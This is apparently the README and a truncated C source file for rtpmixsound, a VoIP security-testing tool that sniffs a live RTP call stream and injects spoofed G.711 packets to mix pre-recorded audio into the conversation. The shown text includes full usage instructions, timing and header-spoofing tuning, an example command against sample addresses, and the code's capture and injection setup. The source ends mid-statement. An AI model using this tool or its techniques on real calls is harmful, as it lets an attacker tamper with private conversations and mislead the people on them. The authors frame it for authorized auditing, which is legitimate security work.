18 under the terms of the GNU Free Documentation License, Version 1.2
19 or any later version published by the Free Software Foundation;
20 with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.
21 A copy of the license is included in the section entitled "GNU
22 Free Documentation License".
23
24 Authors:
25 v3.0 : 01/03/2007
26 Mark D. Collier <[email protected]>, SecureLogix
27 Mark O'Brien, SecureLogix
28 Dustin D. Trammell <[email protected]>, TippingPoint
29 v2.0 : 10/04/2006
30 v1.0 : 09/26/2006
31 Mark D. Collier <[email protected]>, SecureLogix
32 Mark O'Brien, SecureLogix
33
34 SecureLogix: http://www.securelogix.com
35 TippingPoint: http://www.tippingpoint.com
36 HackingExposed VoIP: http://www.hackingexposedvoip.com
37
38
39 This tool was produced with honorable intentions, which are:
40
41 o To aid owners of VoIP infrastructure to test, audit, and uncover security
42 vulnerabilities in their deployments.
43
44 o To aid 3rd parties to test, audit, and uncover security vulnerabilities
45 in the VoIP infrastructure of owners of said infrastructure who contract
46 with or otherwise expressly approve said 3rd parties to assess said
47 VoIP infrastructure.
48
49 o To aid producers of VoIP infrastructure to test, audit, and uncover security
50 vulnerabilities in the VoIP hardware/software/systems they produce.
51
52 o For use in collective educational endeavors or use by individuals for
53 their own intellectual curiosity, amusement, or aggrandizement - absent
54 nefarious intent.
55
56 Unlawful use of this tool is strictly prohibited.
57
58 The following open-soruce libraries of special note were used to build
59 rtpmixsound:
60
61 1) libnet v1.1.2.1 (must use >= this version)
62 2) libpcap v0.9.4 (tool will probably work with some earlier versions)
63 3) libfindrtp [ e.g. utility routine - libfindrtp_find_rtp( ) to sniff out RTP sessions ]
64 4) hack_library [a couple of utility routines - Str2IP( ) and DumpPacket( ) ]
65
66 Note: The Makefile for the rtpmixsound presumes
67 that hack_library.o and hack_library.h reside in
68 a folder at ../hack_library relative to the Makefile
69 within the rtpmixsound directory.
70
71 5) a G.711 codec conversion library based upon open-source code
72 from SUN published in the early 1990's and updated by
73 Borge Lindberg on 12/30/1994.
74
75 Note: The Makefile for the rtpmixsound tool presumes
76 that the original g711.c file has been renamed
77 g711conversions.c and a g711conversions.h file
78 has been added. The rtpmixsound tool Makefile
79 presumes the header and object for this library
80 reside in a folder at ../g711conversions relative
81 to the folder where rtpmixsound is built. The following
82 comment is extracted from the source for your
83 information:
84
85 /*
86 * December 30, 1994:
87 * Functions linear2alaw, linear2ulaw have been updated to correctly
88 * convert unquantized 16 bit values.
89 * Tables for direct u- to A-law and A- to u-law conversions have been
90 * corrected.
91 * Borge Lindberg, Center for PersonKommunikation, Aalborg University.
92 * [email protected]
93 *
94 */
95
96 Install and build the libraries in accordance with their respective
97 instructions. Then change to the rtpmixsound_v3.0 directory and simply
98 type: make
99
100 [root@localhost rtpmixsound_v3.0]# make
101
102 then:
103
104 [root@EquinoxLX rtpmixsound_v3.0]# ./rtpmixsound
105
106 Error: 1 command line parameter is mandatory
107
108 rtpmixsound - Version 3.0
109 January 03, 2007
110 Usage:
111 Mandatory -
112 pathname of file whose audio is to be mixed into the
113 targeted live audio stream. If the file extension is
114 .wav, then the file must be a standard Microsoft
115 RIFF formatted WAVE file meeting these constraints:
116 1) header 'chunks' must be in one of two sequences:
117 RIFF, fmt, fact, data
118 or
119 RIFF, fmt, data
120 2) Compression Code = 1 (PCM/Uncompressed)
121 3) Number of Channels = 1 (mono)
122 4) Sample Rate (Hz) = 8000
123 5) Significant Bits/Sample =
124 signed, linear 16-bit or
125 unsigned, linear 8-bit
126 If the file name does not specify a .wav extension,
127 then the file is presumed to be a tcpdump formatted
128 file with a sequence of, exclusively, G.711 u-law
129 RTP/UDP/IP/ETHERNET messages
130 Note: Yep, the format is referred to as 'tcpdump'
131 even though this file must contain udp messages
132 Optional -
133 -a source RTP IPv4 addr
134 -A source RTP port
135 -b destination RTP IPv4 addr
136 -B destination RTP port
137 -f spoof factor - amount by which to:
138 a) increment the RTP hdr sequence number obtained
139 from the ith legitimate packet to produce the
140 RTP hdr sequence number for the ith spoofed packet
141 b) multiply the RTP payload length and add that
142 product to the RTP hdr timestamp obtained from
143 the ith legitimate packet to produce the RTP hdr
144 timestamp for the ith spoofed packet
145 c) increment the IP hdr ID number obtained from the
146 ith legitimate packet to produce the IP hdr ID
147 number for the ith spoofed packet
148 [ range: +/- 1000, default: 2 ]
149 -i interface (e.g. eth0)
150 -j jitter factor - the reception of a legitimate RTP
151 packet in the target audio stream enables the output
152 of the next spoofed packet. This factor determines
153 when that spoofed packet is actually transmitted.
154 The factor relates how close to the next legitimate
155 packet you'd actually like the enabled spoofed packet
156 to be transmitted. For example, -j 10 means 10% of
157 the codec's transmission interval. If the transmission
158 interval = 20,000 usec (i.e. G.711), then delay the
159 output of the spoofed RTP packet until the time-of-day
160 is within 2,000 usec (i.e. 10%) of the time the next
161 legitimate RTP packet is expected. In other words,
162 delay 100% minus the jitter factor, or 18,000 usec
163 in this example. The smaller the jitter factor, the
164 greater the risk you run of not outputting the
165 spoofed packet before the next legitimate RTP packet
166 is received. Therefore, a factor >= 10 is advised.
167 [ range: 0 - 80, default: 80 = output spoof ASAP ]
168 -p seconds to pause between setup and injection
169 -h help - print this usage
170 -v verbose output mode
171
172 Note: If you are running the tool from a host with multiple
173 ethernet interfaces which are up, be forewarned that
174 the order those interfaces appear in your route table
175 and the networks accessible from those interfaces might
176 compel Linux to output spoofed audio packets to an
177 interface different than the one stipulated by you on
178 command line. This should not affect the tool unless
179 those spoofed packets arrive back at the host through
180 the interface you have specified on the command line
181 (e.g. the interfaces have connectivity through a hub).
182 [root@localhost rtpmixsound_v3.0]#
183
184 This tool does NOT presume it is running as Man-In-The-Middle (MITM),
185 however, it does presume that audio (i.e. RTP) packet stream of interest
186 can be received by the specified Ethernet interface in promiscuous mode
187 (e.g. the host running the tool is connected to a hub through which
188 target audio packet streams are flowing).
189
190 The tool presently supports mixing audio into an audio stream
191 (i.e. RTP/UDP/IP/Ethernet) bearing G.711 u-law payloads only.
192 The RTP header of the target audio packets must be a standard
193 RFC 3550 12-byte RTP header. The tool does NOT automatically
194 detect and compensate for audio session modifications. The tool
195 does NOT presently support 802.1q (i.e. layer 2 VLAN/priority
196 tagging) within the 802.3 IEEE Ethernet header. The tool presumes
197 it is running on a little-endian platform.
198
199 Use Ethereal/Wireshark or some appropriate sniffer to determine the
200 stream into which you'd like to mix an audio playback. You must
201 know the source IPv4 address, source UDP port, destination IPv4
202 address, and destination UDP port of the stream into which you'd like
203 to mix audio. This tool is unidirectional. If the mix of the
204 audio is successful, the targeted destination will be persuaded to
205 accept the RTP packets interlaced by this tool and reject the legitimate
206 audio packets that continue to stream from the legitimate source to the
207 target destination. However, audio from the legitimate source
208 will continue to be heard at the targeted destination because it is
209 being mixed with the pre-recorded audio in real-time.
210
211 Playback is rather arbitrarily limited to 30 seconds. You may change
212 the source code if you require a longer playback interval.
213
214 The sound (i.e. audio) to mix into an audio stream must be in
215 one of two forms as stipulated by the usage printout appearing
216 above.
217
218 If a wave file you'd like to input to the tool does not comply with
219 the constraints imposed by the tool, you will need to use an audio
220 conversion utility to massage the file into a form acceptable by the
221 tool. For example, many wave files on the Net are in this format:
222
223 Compression Code: 1
224 Channels: 1
225 Sample Rate (Hz): 11025
226 Avg. Bytes/sec: 11025
227 Block Align: 1
228 Significant Bits/sample: 8
229
230 A sample rate of 11025 is not presently supported by the tool.
231 The Linux sox command might be used to convert the file to
232 the required 8000 Hz sample rate. If the file is named
233 swclear.wav then:
234
235 sox -V swclear.wav -r 8000 swclear_resample.wav resample -ql
236
237 converts swclear.wav to swclear_resample.wav with the
238 following format:
239
240 Compression Code: 1
241 Channels: 1
242 Sample Rate (Hz): 8000
243 Avg. Bytes/sec: 8000
244 Block Align: 1
245 Significant Bits/sample: 8
246
247 The sox command can also be used to convert multi-channel
248 audio to mono, covert different compression codes to the
249 PCM/uncompressed format required by the tool, and convert
250 the number of significant bits/sample, among many other
251 conversions.
252
253 Unfortunately, sox does not support the conversion of wave files
254 from MPEG format to the format required by the tool. If you
255 attempted a similar sox command to the one above for the a
256 MPEG Layer 3 formatted file you'd get this error:
257
258 sox: Failed reading khan.wav: Sorry, this WAV file is in MPEG Layer 3 format.
259
260 For tcpdump formatted input files, the file must be composed of
261 sequential RTP/UDP/IP/Ethernet messages, where the RTP payloads
262 are encoded using the G.711 u-law codec (i.e. PCMU). Our sound
263 files were produced using the Asterisk open-source IP PBX. Asterisk
264 “call files” were used to call a VoIP phone that was configured
265 with a preference to receive audio processed by the G.711 u-law
266 codec. The call file stipulated the sound file to play once the
267 call was connected. The Ethereal/Wireshark network analyzer tool
268 was used to capture the G.711 packets flowing from the Asterisk
269 IP PBX to the phone. These were saved into a standard tcpdump
270 file. There are, no doubt, many other mechanisms to produce such
271 a file.
272
273 Note: For operation of the open-source Asterisk IP PBX and
274 an explanation of "call files", see: Asterisk: The Future of
275 Telephony, by Jim Van Meggelen, Jared Smith, and Leif Madsen.
276 Copyright 2005 O’Reilly Media, Inc., 0-596-00962-3.
277
278 A softcopy of that book is available on-line as a legitimately
279 free download.
280
281 A later version of the tool might be capable of inputting a
282 greater variety of audio file formats.
283
284 When the tool is executed, it first loads the pre-recorded audio into
285 memory. Then it attempts to detect a packet from the target audio stream
286 designated on the command line. The output of bogus mixed audio interlaced
287 into the legitimate audio stream is close-looped with the reception of
288 legitimate audio packets.
289
290 The optional spoof factor value might be specified on the command line
291 (i.e. default = 2). As reported by the tool's help, the spoof factor is
292 used to adjust key RTP header and IP header values in an inserted
293 audio packet relative to those values in the legitimate audio packet
294 triggering the insertion of that bogus audio packet. Adjusting those
295 key header values slightly higher (or lower) relative to the last
296 legitimate packet may persuade the target destination to accept the
297 inserted packets and reject the legitimate packets it continues to
298 receive.
299
300 The optional jitter factor value might be specified on the command line
301 (i.e. default 80% = ASAP). The jitter factor determines exactly when
302 the next bogus audio packet is inserted relative to the received audio
303 packet triggering the mixture and output of the bogus packet. The default
304 value outputs the bogus packet ASAP. A value less than 80% requires the
305 bogus packet to be output closer to when the next legitimate audio packet
306 is expected. The factor is expressed as a percentage of the ideal
307 codec transmission interval, which is every 20 ms for G.711 u-law.
308 So, for G.711:
309
310 jitter factor how close to the next legitimate packet
311 % the bogus packet is transmitted
312 ------------- -------------------------------------------
313 80 close to 20 ms (i.e. ASAP - within a couple
314 of hundred usec after the trigger packet)
315
316 70 14 ms (i.e. 6 ms after the trigger packet)
317 60 12 ms (i.e. 8 ms after the trigger packet)
318 50 10 ms (i.e. 10 ms after the trigger packet)
319 40 8 ms (i.e. 12 ms after the trigger packet)
320 30 6 ms (i.e. 14 ms after the trigger packet)
321 20 4 ms (i.e. 16 ms after the trigger packet)
322 10 2 ms (i.e. 18 ms after the trigger packet)
323 5 1 ms (i.e. 19 ms after the trigger packet)
324
325 When a jitter factor other than 80 is specified, the execution priority
326 of the tool is increased to the maximum. You'll probably note that other
327 applications and GUI's running on the same platform will decrease
328 in responsiveness (e.g. Ethereal). Only one VoIP hard phone model has
329 been encountered by the authors thus far (out of 8) that requires a jitter
330 factor other than the default value. The timing is not as precise as
331 the table might indicate. A jitter factor too close to 0 usually
332 results in the tool failing, at some point in the playback, to output a
333 bogus packet before the next legitimate packet is received. The tool
334 detects that condition and stops with an appropriate error message.
335
336 Example:
337
338 ./rtpmixsound eth0 10.1.101.40 39120 10.1.101.60 64006 g711CaptureAlphabetRecitation -f 1 -j 10
339
340 In this example, the audio from the tcpdump file named
341 g711CaptureAlphabetRecitation within the rtpmixsound folder is
342 mixed into the G.711 audio stream from the VoIP source at
343 10.1.101.40:39120 to the VoIP destination at 10.1.101.60:64006.
344 Each bogus audio packet is transmitted approximately 18 ms after
345 the prior legitimate audio packet is received by the tool. The
346 factor to apply to manipulate key RTP header and IP header
347 values in a bogus packet, relative to its legitimate trigger
348 packet is: 1. The audio in a bogus packet is the real-time
349 audio mixture of the ith pre-recorded audio packet loaded from
350 the specified file and the audio from the most recently received
351 RTP packet in the specified audio stream.
352
353 Alternatively, an appropriate wave file could be used:
354
355 ./rtpinsertsound eth0 10.1.101.40 39120 10.1.101.60 64006 AlphabetRecitation.wav -f 1 -j 10
356
357 If the tool pauses for a noticeable interval when initially attempting
358 to sync to the audio stream, it very likely means one or more of the
359 following conditions exist:
360
361 a) the stream is not present at the specified Ethernet interface
362 b) the audio stream does not exist (i.e. the call has ended or changed state)
363 c) the user has not entered the IPv4 addresses or UDP ports properly
364
365 Since the output of a mixture of bogus audio and legitimate audio is
366 close-looped to the reception of the target audio stream, the tool
367 stalls if the target audio stream ends or changes state during the
368 playback.
369
370 A compilation directive determines whether the object code of the tool is
371 produced with Ethernet layer spoofing or whether IP layer spoofing is
372 sufficient. Testing to-date has demonstrated that Ethernet layer spoofing
373 is NOT required. The tool executes faster when it is not required to spoof
374 at the Ethernet layer. Ethernet layer spoofing is not recommended.
375
376 Mark O'Brien (10/11/2006)
Binary diff not shown
0 //-------------------------------------------------------------------------------
1 //
2 // rtpmixsound.c - Command line tool to mix the content
3 // of a sound file into a call. This tool presumes
4 // the host from which the tool is executed is not
5 // MITM in the audio stream. However, it
6 // presumes the host from which the tool is
7 // executed is capable of sniffing the specified
8 // stream (e.g. the host is connected to a hub
9 // through which the audio stream is flowing).
10 //
11 // Note: this behavior is in contrast to the tool,
12 // rtpreplacesound, which presumes the
13 // host from which the tool is executed is
14 // MITM. As such, the audio is received
15 // and dropped in favor of the audio
16 // replacing it.
17 //
18 // This tool sniffs a specified audio stream for
19 // RTP packets. It uses the protocol header
20 // parameters it captures to spoof the sender
21 // (e.g. RTP hdr sequence number, timestamp).
22 // Presently, the sniffed audio is presumed to be
23 // G.711 ulaw encoded audio of 160 bytes/packet.
24 // For each packet in the target audio stream,
25 // this tool decodes the received payload into
26 // 16-bit linear PCM, mixes that audio with the
27 // next audio sample from the pre-recorded
28 // audio, and encodes the sum back into G.711
29 // ulaw.
30 //
31 // The format of the pre-recorded audio must
32 // be one of the following:
33 //
34 // a) a file name with the .wav extension is a
35 // standard Microsoft RIFF multimedia
36 // formatted WAVE file.
37 //
38 // b) a file name without the .wav extension is
39 // a sequence of, exclusively, G.711 u-law
40 // RTP/UDP/IP/ETHERNET messages.
41 //
42 // The RTP header timestamp and sequence
43 // number in the spoofed packet are adjusted
44 // by a factor. The IP header ID in the spoofed
45 // packet is also adjusted by a factor.
46 //
47 // The goal is to transmit audio packets
48 // containing protocol header values to persuade
49 // the targeted destination device that the spoofed
50 // packets are more timely and that the audio
51 // packets the destination continues to receive
52 // from the legitimate transmitter are too
53 // early or late.
54 //
55 // Note: this tool is unidirectional, but you can
56 // run two instances to affect each side of
57 // a call.
58 //
59 // Copyright (C) 2006 Mark D. Collier/Mark O'Brien
60 //
61 // This program is free software; you can redistribute it and/or modify
62 // it under the terms of the GNU General Public License as published by
63 // the Free Software Foundation; either version 2 of the License, or
64 // (at your option) any later version.
65 //
66 // This program is distributed in the hope that it will be useful,
67 // but WITHOUT ANY WARRANTY; without even the implied warranty of
68 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
69 // GNU General Public License for more details.
70 //
71 // You should have received a copy of the GNU General Public License
72 // along with this program; if not, write to the Free Software
73 // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
74 //
75 // Authors:
76 // v3.0 : 01/03/2007
77 // Mark D. Collier <[email protected]>, SecureLogix
78 // Mark O'Brien, SecureLogix
79 // Dustin D. Trammell <[email protected]>, TippingPoint
80 // v2.0 : 10/10/2006
81 // v1.0 : 08/14/2006
82 // Mark D. Collier <[email protected]>, SecureLogix
83 // Mark O'Brien, SecureLogix
84 //
85 // SecureLogix: http://www.securelogix.com
86 // TippingPoint: http://www.tippingpoint.com
87 // Hacking Exposed VoIP: http://www.hackingexposedvoip.com
88 //
89 //-------------------------------------------------------------------------------
90
91 #include <libfindrtp.h>
92 #include "hack_library.h"
93 #include "g711conversions.h"
94 #include "rtpmixsound.h"
95
96 int main ( int argc, char *argv[] ) {
97
98 //
99 // Declarations and initializations
100 //
101
102 int i, j;
103 int bytesWritten;
104 int audioMix;
105 int ipPacketSize;
106
107 rtp_pair *rp = NULL;
108 int rtpSrcPort = 0;
109 int rtpDestPort = 0;
110 int spoofFactor = 2; // default
111 int jitterFactor = 80; // default (i.e. ouput spoofed RTP packet ASAP)
112
113 unsigned int pause = 0;
114 unsigned int idxExtension = 0;
115 unsigned int numG711PacketEquivalents = 0;
116 unsigned int rtpSrcIPv4Addr = 0;
117 unsigned int rtpDestIPv4Addr = 0;
118
119 unsigned int spoofTimestamp;
120 unsigned int spoofSSRC;
121 unsigned short spoofID;
122 unsigned short spoofSeqNumber;
123
124 unsigned char *pUlawByte = NULL;
125 short *pPCMShort = NULL;
126
127 bool bSuccess = false;
128 bool bFoundSyncPacket = false;
129
130 char pcap_errbuf[PCAP_ERRBUF_SIZE];
131 char rtpDestIPv4AddrDotted[16];
132 char rtpSrcIPv4AddrDotted [16];
133
134 char *psDevice = "eth0";
135 char *psRtpSrcIPv4Addr = NULL;
136 char *psRtpDestIPv4Addr = NULL;
137 char *psTempIPv4Addr = NULL;
138 char *psInputAudioFile = NULL;
139
140 char macString[18] = ""; // 6 hex bytes * 2 char/byte + 5 colons + end-of-string
141
142 struct rtp_msg rtp_msg_to_insert;
143
144 float expectedAudioPlaybackTime = 0;
145
146 signal ( SIGTERM, catch_signals );
147 signal ( SIGINT, catch_signals );
148
149 //
150 // Check the number of command line parms entered.
151 //
152
153 if ( argc < 2 ) {
154 printf( "\nError: 1 command line parameter is mandatory\n" );
155 usage ( EXIT_FAILURE );
156 };
157
158 //
159 // Parse the command line.
160 //
161
162 while ( ( opt = getopt ( argc, argv, "a:A:b:B:f:i:j:p:vh?" ) ) != EOF ) {
163 switch ( opt ) {
164 case 'a':
165 // Source RTP IP address. Str2IP returns the numeric IP address
166 // in network byte order.
167 psRtpSrcIPv4Addr = optarg;
168 psTempIPv4Addr = strdup( psRtpSrcIPv4Addr );
169
170 if ( Str2IP ( psTempIPv4Addr, &rtpSrcIPv4Addr ) != EXIT_SUCCESS ) {
171 printf ( "\nsource IPv4 addr invalid: %s\n", psRtpSrcIPv4Addr );
172 free ( psTempIPv4Addr );
173 usage ( EXIT_FAILURE ); // control does not return here
174 }
175
176 snprintf ( rtpSrcIPv4AddrDotted, 15, psRtpSrcIPv4Addr );
177
178 free ( psTempIPv4Addr );
179 psTempIPv4Addr = NULL;
180
181 break;
182 case 'A':
183 // Source RTP port number.
184 rtpSrcPort = atoi ( optarg );
185 if ( rtpSrcPort < 0 || rtpSrcPort > 65535 ) {
186 printf ( "\nRTP Source Port range = 0 to 65535\n" );
187 usage ( EXIT_FAILURE ); // control does not return here
188 }
189 break;
190 case 'b':
191 // Destination RTP IP address. Str2IP returns the numeric IP address
192 // in network byte order.
193 psRtpDestIPv4Addr = optarg;
194 psTempIPv4Addr = strdup( psRtpDestIPv4Addr );
195
196 if ( Str2IP ( psTempIPv4Addr, &rtpDestIPv4Addr ) != EXIT_SUCCESS ) {
197 printf ( "\nsource IPv4 addr invalid: %s\n", psRtpDestIPv4Addr );
198 free ( psTempIPv4Addr );
199 usage ( EXIT_FAILURE ); // control does not return here
200 }
201
202 snprintf ( rtpDestIPv4AddrDotted, 15, psRtpDestIPv4Addr );
203
204 free ( psTempIPv4Addr );
205 psTempIPv4Addr = NULL;
206 break;
207 case 'B':
208 // Destination RTP port number.
209 rtpDestPort = atoi ( optarg );
210 if ( rtpDestPort < 0 || rtpDestPort > 65535 ) {
211 printf ( "\nRTP Destination Port range = 0 to 65535\n" );
212 usage ( EXIT_FAILURE ); // control does not return here
213 }
214 break;
215 case 'f':
216 spoofFactor = atoi ( optarg ); // increment and mutiplication factor
217 break;
218 case 'i':
219 // Ethernet device.
220 psDevice = optarg;
221 break;
222 case 'j':
223 jitterFactor = atoi ( optarg ); // spoofed pkt jitter factor %
224 break;
225 case 'p':
226 pause = atoi ( optarg ); // pause value (in seconds)
227 break;
228 case 'v':
229 bVerbose = true; // Verbose option.
230 break;
231 case 'h':
232 case '?':
233 usage( EXIT_SUCCESS ); // control does not return here.
234 break;
235 }
236 }
237
238 //
239 // getopt permutes the order of the parms in argv[] placing non-optional parms
240 // at the end of argv. optind should be the index of the 1st mandatory non-optional
241 // parm in argv[] and there must be exactly 6 non-optional mandatory parms:
242 //
243
244 if ( optind != ( argc - 1 ) ) {
245 printf( "\nError: 1 command line parameter is mandatory\n" );
246 usage ( EXIT_FAILURE ); // control does not return here
247 }
248
249 //
250 // Pathname of the file containing audio to mix into the live audio stream
251 // described by the other command line arguments.
252 //
253 psInputAudioFile = argv[optind++];
254
255 //
256 // spoof factor (i.e. see usage ( ) )
257 //
258 if ( spoofFactor < -1000 || spoofFactor > 1000 ) {
259 printf ( "\noptional spoof factor range: +/- 1000\n" );
260 usage ( EXIT_FAILURE ); // control does not return here
261 }
262
263 //
264 // jitter factor (i.e. see usage ( ) )
265 //
266
267 if ( jitterFactor < 0 || jitterFactor > 80 ) {
268 printf ( "\noptional jitter factor range: 0 to 80\n" );
269 usage ( EXIT_FAILURE ); // control does not return here
270 }
271
272 //
273 // FIXME: For now, the tool only supports the G.711 codec.
274 //
275
276 if ( jitterFactor < 80 ) {
277 jitterDelayUsec = ( unsigned int ) (
278 ( ( float ) __RTPMIXSOUND_G711_CODEC_INTERVAL_USEC ) -
279 ( ( ( float ) __RTPMIXSOUND_G711_CODEC_INTERVAL_USEC ) *
280 ( ( ( float ) jitterFactor ) / 100.0 ) ) );
281 jitterProximityUsec = __RTPMIXSOUND_G711_CODEC_INTERVAL_USEC
282 - jitterDelayUsec;
283 } // end if ( jitterFactor < 80 )
284
285 //
286 // Fill out any missing RTP Session data
287 //
288 extern unsigned int libfindrtp_debug;
289 libfindrtp_debug = bVerbose;
290 libfindrtp_debug = 2;
291
292 if ( !psRtpSrcIPv4Addr || !rtpSrcPort ||
293 !psRtpDestIPv4Addr || !rtpDestPort ) {
294 rp = libfindrtp_find_rtp( psDevice, 1, psRtpSrcIPv4Addr, psRtpDestIPv4Addr );
295 if ( rp ) {
296 rtpSrcIPv4Addr = rp->ip_a_n;
297 psRtpSrcIPv4Addr = (char *)&rp->ip_a_a;
298 memcpy( rtpSrcIPv4AddrDotted, &rp->ip_a_a, 16);
299 rtpSrcPort = rp->port_a;
300
301 rtpDestIPv4Addr = rp->ip_b_n;
302 psRtpDestIPv4Addr = (char *)&rp->ip_b_a;
303 memcpy( rtpDestIPv4AddrDotted, &rp->ip_b_a, 16);
304 rtpDestPort = rp->port_b;
305 }
306 }
307
308 //
309 // Print summary of parms.
310 //
311
312 printf ( "\n%s\n", __RTPMIXSOUND_VERSION );
313 printf ( "%s\n", __RTPMIXSOUND_DATE );
314
315 printf ( "\nsource IPv4 addr:port = %s:%u",
316 rtpSrcIPv4AddrDotted, rtpSrcPort );
317
318 printf ( "\ndest IPv4 addr:port = %s:%u",
319 rtpDestIPv4AddrDotted, rtpDestPort );
320
321 printf ( "\nInput audio file: %s\n", psInputAudioFile );
322
323 printf ( "\nspoof factor: %d\n", spoofFactor );
324
325 if ( jitterFactor == 80 ) {
326 printf ( "\njitter factor: output spoofed packets ASAP\n" );
327 } else {
328 printf ( "\njitter factor: %d%% "
329 " = wait %u usec to output each spoofed RTP packet\n",
330 jitterFactor, jitterDelayUsec );
331 /*
332 printf ( "\nmax SCHED_FIFO scheduling priority = %d\n"
333 "\nmax SCHED_RR scheduling priority = %d\n"
334 "\nmax SCHED_OTHER scheduling priority = %d\n"
335 "\nmin SCHED_FIFO scheduling priority = %d\n"
336 "\nmin SCHED_RR scheduling priority = %d\n"
337 "\nmin SCHED_OTHER scheduling priority = %d\n",
338 sched_get_priority_max( SCHED_FIFO ),
339 sched_get_priority_max( SCHED_RR ),
340 sched_get_priority_max( SCHED_OTHER ),
341 sched_get_priority_min( SCHED_FIFO ),
342 sched_get_priority_min( SCHED_RR ),
343 sched_get_priority_min( SCHED_OTHER ) );
344 */
345
346 //
347 // The user has specified a jitter factor other than the default of 80 (i.e. ASAP).
348 // Raise the execution priority of rtpmixsound to the maximum priority
349 // in order to attempt to output each spoofed audio packet as close as possible to
350 // the time delta desired by the user before the next legitimate audio packet
351 // is expected.
352 //
353
354 int process_priority = 0;
355
356 process_priority = getpriority( PRIO_PROCESS, 0 /* this process */ );
357
358 printf ( "\n\nProcess priority was = %d\n", process_priority );
359
360 process_priority = -20; // -20 to 19: max (i.e. best) priority = -20, normal = 0
361
362 rc = setpriority ( PRIO_PROCESS, 0 /* this process */, process_priority );
363
364 if ( rc == 0 ) {
365 printf ( "\nProcess Priority set to: %d (i.e. highest priority)\n",
366 getpriority( PRIO_PROCESS, 0 /* this process */ ) );
367 } else {
368 printf ( "\nError: Could not set process priority to: %d\n",
369 process_priority );
370 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
371 }
372 } // end if ( jitterFactor == 80 )
373
374 if ( bVerbose ) {
375 printf ( "\nVerbose mode\n" );
376 }
377
378 //
379 // Vet the specified pre-recorded audio file to confirm it complies
380 // with various restrictions imposed by this tool.
381 //
382
383 idxExtension = strlen ( psInputAudioFile ) - 4;
384
385 if ( idxExtension > 0 ) {
386 // filename could have .wav extension
387 if ( psInputAudioFile[ idxExtension ] == '.' &&
388 psInputAudioFile[ idxExtension + 1 ] == 'w' &&
389 psInputAudioFile[ idxExtension + 2 ] == 'a' &&
390 psInputAudioFile[ idxExtension + 3 ] == 'v' ) {
391 bSuccess = preloadWavAudio ( psInputAudioFile,
392 pcmSamplesToMix,
393 &numG711PacketEquivalents );
394 } else {
395 bSuccess = preloadTCPdumpAudio ( psInputAudioFile,
396 pcmSamplesToMix,
397 &numG711PacketEquivalents );
398 }
399 } else {
400 bSuccess = preloadTCPdumpAudio ( psInputAudioFile,
401 pcmSamplesToMix,
402 &numG711PacketEquivalents );
403 }
404
405 if ( !bSuccess ) {
406 CleanupAndExit ( EXIT_FAILURE );
407 }
408
409
410 if ( numG711PacketEquivalents == 0 ) {
411 printf ( "\nError: Audio input file is empty or doesn't hold"
412 "\nat least one G.711 packet's worth of audio.\n" );
413 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
414 }
415
416 printf ( "\nAudio read from input file equates to %u G711 packets.\n",
417 numG711PacketEquivalents );
418
419 expectedAudioPlaybackTime = (float) numG711PacketEquivalents /
420 (float) __RTPMIXSOUND_G711_CODEC_RATE_HZ;
421
422 printf ( "At an ideal playback rate of %u Hz, this represents\n"
423 "%4.2f seconds of audio.\n",
424 __RTPMIXSOUND_G711_CODEC_RATE_HZ,
425 expectedAudioPlaybackTime );
426
427 //
428 // It's time to sniff the specified network interface and try to capture
429 // a packet from the audio stream specified by command line arguments
430 //
431
432 pcap_errbuf[ 0 ] = '\0';
433
434 h_pcap_live_rtp =
435 pcap_open_live (
436 psDevice, // interface to open
437 65535, // max. # of bytes to capture
438 __RTPMIXSOUND_PROMISCOUS_MODE, // open in promiscous mode
439 0, // wait forever for 1 packet.
440 pcap_errbuf ); // where an error string is stored
441
442 if ( h_pcap_live_rtp == NULL ) {
443 fprintf ( stderr,
444 "\nCouldn't open interface to sniff/insert audio %s: %s\n",
445 psDevice, pcap_errbuf );
446 CleanupAndExit ( EXIT_FAILURE );
447 }
448
449 if ( pcap_errbuf[ 0 ] != '\0' ) {
450 // pcap has returned a warning instead of an error
451 fprintf ( stderr,
452 "\npcap warning: %s\n", pcap_errbuf );
453 }
454
455 //
456 // Prompt user for injection command or pause number of seconds specified on
457 // the command-line.
458 //
459
460 if ( pause ) {
461 printf( "\nWaiting %d seconds...\n", pause );
462 sleep( pause );
463 }
464 else {
465 printf( "\nReady to inject, press <ENTER> to begin injection...\n" );
466 scanf( "%*c" );
467 }
468
469 //
470 // Need to open a socket purely for the purpose of obtaining the MAC address of
471 // the specified device. The MAC address of the device must be included in the
472 // pcap filter to prevent the spoofed packets output from this tool from being
473 // captured by pcap and feed back into the tool as if they came from the
474 // RTP transmitter this tool has been commanded to spoof.
475 //
476
477 strcpy ( ifreq.ifr_ifrn.ifrn_name, psDevice );
478
479 if ( ( sockfd = socket ( AF_INET, SOCK_DGRAM, IPPROTO_UDP ) ) < 0 ) {
480 fprintf ( stderr,
481 "\nsocket - Couldn't allocate socket to obtain device MAC addr\n" );
482 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
483 }
484
485 if ( ioctl ( sockfd, SIOCGIFHWADDR, &ifreq ) != 0 ) {
486 fprintf ( stderr,
487 "\nioctl - Couldn't read socket's MAC address\n" );
488 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
489 }
490
491 memcpy ( deviceMAC, ifreq.ifr_hwaddr.sa_data, IFHWADDRLEN );
492
493 macString[0] = '\0'; // initialize workspace string to NUL string
494
495 sprintf ( macString, "%02x:%02x:%02x:%02x:%02x:%02x",
496 deviceMAC[0],
497 deviceMAC[1],
498 deviceMAC[2],
499 deviceMAC[3],
500 deviceMAC[4],
501 deviceMAC[5],
502 deviceMAC[6] );
503
504 if ( bVerbose ) {
505 printf ( "\n%s's MAC: %s\n", psDevice, macString );
506 }
507
508 //
509 // Create a libpcap filter to restrict packet capture to the audio stream
510 // specified by command line arguments
511 //
512 // The filter is a string of this form:
513 // "src host <ip dotted addr> and dst host <dotted IP addr> and udp src port <port>
514 // and udp dst port <port> and not ether src <MAC of spoof packet output interface>"
515 //
516
517 char pcap_filter[ 300 ]; // Provide more than enough space for the filter ( i.e. 2x)
518
519 pcap_filter[0] = '\0'; // NUL string
520
521 rc = snprintf ( pcap_filter, sizeof( pcap_filter ),
522 "src host %s and dst host %s and "
523 "udp src port %u and udp dst port %u and "
524 "not ether src %s",
525 psRtpSrcIPv4Addr,
526 psRtpDestIPv4Addr,
527 rtpSrcPort,
528 rtpDestPort,
